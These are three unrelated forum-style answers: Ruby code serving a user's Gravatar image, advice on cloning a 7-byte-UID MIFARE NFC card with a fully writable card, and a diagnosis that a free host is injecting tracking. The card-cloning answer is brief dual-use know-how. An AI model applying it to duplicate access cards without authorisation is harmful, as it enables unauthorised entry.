    gravatar_id = Digest::MD5::hexdigest(current_user.email).downcase
    image = open("http://gravatar.com/avatar/#{gravatar_id}.png", &:read)
    send_data image, type: 'image/png', disposition: 'inline'
  end
end

I may also consider base64-encoding it and/or caching it in the DB temporarily, or using it for a "starter" avatar, and still allow users to upload custom ones.


Identifying and cloning NFC Card double size UID - type mifare plus 7 byte 2k or classic 7 byte 1k

According to https://mattionline.de/mifare-classic-1k-clone-block-0-uid/, your problem may be that you do not have a "7 byte UID completely writable mifare classic 1k card". I encountered the same issue, so for me it's off to shopping on the interwebs as well!


Site inaccessible with Cookies turned off in browser

My website is simple (a blog) HTML and CSS and I store nor ask for any data from the visitors.

Are you sure your site is only HTML+CSS? Your site wouldn't happen to be using some free hosting service that collects and sells user data, would it?

The fact that they're adding URL parameters that have nothing to do with your pages (the /?i=1), and that you get redirected to some help page that's not yours if you disable cookies strongly suggest that there's more going on here than just your HTML+CSS. Likely their webserver is processing the incoming requests, stripping off the user tracking information, and then serving your HTML+CSS content.

  How could I prevent this behaviour?

Change hosting providers to someone less sketchy.